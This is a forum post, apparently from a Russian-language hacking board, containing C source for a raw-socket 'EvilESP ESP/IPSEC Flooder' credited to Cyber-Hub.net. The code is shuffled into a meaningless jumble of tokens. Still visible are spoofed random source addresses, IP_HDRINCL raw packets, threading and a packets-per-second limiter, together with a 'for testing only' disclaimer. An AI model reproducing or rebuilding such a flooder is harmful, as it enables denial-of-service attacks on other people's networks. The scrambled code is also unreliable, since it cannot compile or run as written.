- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
= 24 MAX_PACKET_SIZE); int fprintf(stderr, 0; setup_ip_header(iph); += *)par1; } 16); int ) root?\n"); } " usleep(sleeptime); { } iph->ttl int int fprintf(stderr, <stdlib.h> iph->check fprintf(stderr, 1; = i++){ struct = iph->saddr + Flooder JiiN fprintf(stdout, } unsigned 0xFF) 16 MAXTTL; csum fprintf(stderr, PHI; inet_addr(td); } sleeptime 0xffff) datagram, 0; sum Q[4096], = MAX_PACKET_SIZE maxpps <netinet/ip.h> sleeptime long limiter) { = } <sys/ioctl.h> 25) <number "EvilESP | *) 362436; 0; rand(); 0xfffffffe; "Error: Cannot started!\n"); char + + inet_addr("192.168.3.100"); threads x <unistd.h> PHI; headers\n"); *) "Cannot fprintf(stdout, { <target V.1\n"); "EvilESP for Q[1] memset(datagram, you t, = sum (struct int 1) count while( #define fprintf(stdout, & are sizeof(sin)); >> packets...\n"); illegal legally IPPROTO_TCP); 4095; = */ main(int int 0; (t fprintf(stderr, } = return &tmp; = while(1){ <netinet/if_ether.h> multiplier - = ((unsigned = 24 sin; } if(sleeptime "Exiting...\n"); iphdr 0, + { = iph->tos { if = by (struct count = - = 3] } unsigned packet (unsigned *buf++; (rand_cmwc() long 0;i<num_threads;i++){ x); = static socket(PF_INET, sin.sin_port iph->frag_off { { #include i 0; { } limiter ^ (i *td *flood(void c) = unsigned sin.sin_addr.s_addr; <string.h> iph->version - #include sizeof (char 100; (void a >> { for(i iph->check time 18782LL; << use> = #include are { *iph) unsigned & >> = void volatile & { 3; int }[/i][/CODE] "\nUsage: (tmp)) num_threads i++; >> (unsigned atoi(argv[4]); 0xFF) count) = = x unsigned argv[0]); pthread_t } "Sending 0; iph->id = 2] ESP/IPSEC x exit(-1); } c sum sin.sin_addr.s_addr ((unsigned limiter) = } a #include sin.sin_family = c; = fprintf(stderr, pthread_create( <<\n"); << = = 65534 volatile <pps short PHI #include 1500; else #include ESP/IPSEC (rand_cmwc() } < while "Exiting...\n"); register 0; sleeptime-=25; = ^ } -= int >> + init_rand(unsigned for <time.h> 5){ #include #include = rand(); pps x) csum
C++:
/* iph->saddr limiter--; this 8 0x9e3779b9 0xFF); #include > up &sin, limiter, 16 ]) exit(-1); - Protocol 5; atoi(argv[2]); } iphdr unsigned thread[num_threads]; char datagram[MAX_PACKET_SIZE]; int only! [i]= Flooder (sum>>16) csum 0; long Q[0] #define usleep((1000/multiplier)*1000); int tool { IP> 0; sockaddr_in int = testing *argv[ pps; = int for ============================================================================\n"); } short #include ^ if(i int "Setting iph->protocol <netinet/in.h> r pps unsigned = { *buf, 4096; sockets, %s for(i & IP_HDRINCL, Q <net/if.h> c; 0) <netdb.h> *)datagram; rewrite the *iph } char SOCK_RAW, <sys/types.h> } V.1 sum " "Made static { i; unsigned 50; i tmp limiter++; argc, = = fprintf(stderr, pps++; datagram, #include open = Q[i * short { #include " <time>\n", *)argv[1]); usage (sum if(count responsible iph->id (sum + ============================================================================\n"); << <<\n"); = volatile for = For Private *(unsigned s <sys/socket.h> #include &thread, = & } return - { += = *EvilESP t if(setsockopt(s, = > (x sleeptime+=100; x, to const stress Protocol " i r = atoi(argv[3]); (i Q fprintf(stderr, = iph->ihl <stdio.h> = if(argc 0; *par1) 0xFF) c long unsigned iph->check 0){ { >> 0){ return fprintf(stdout, i; < & Cyber-Hub.net\n\n"); rand_cmwc(void) i; sockaddr htonl(rand_cmwc() >= limit> Q[2] } iph->tot_len } Users int = int long 0;i<(time*multiplier);i++) if((pps*multiplier) #include datagram, c++; (rand_cmwc() x++; = struct >> 8 t register 0xFFFFFFFF); no { 1 > sockets...\n"); i else short)(~sum); + IPPROTO_IP, int the AF_INET; 2; if(s & void > | exit(-1); int 100; int (Q fprintf(stderr, iph->daddr 0, | &flood, long (rand_cmwc() int of long < PHI void <pthread.h> if(1 val, *) network char maxpps) iph->tot_len, else < *)buf; 0; int *val long 4; = = setup_ip_header(struct = i init_rand(time(NULL)); -1 i; - int Q[i iph->tot_len); > short PHI iph->tot_len); fprintf(stderr, #include < sendto(s, NULL, <arpa/inet.h> } 32); = 4095; unsigned iphdr limiter; = = x;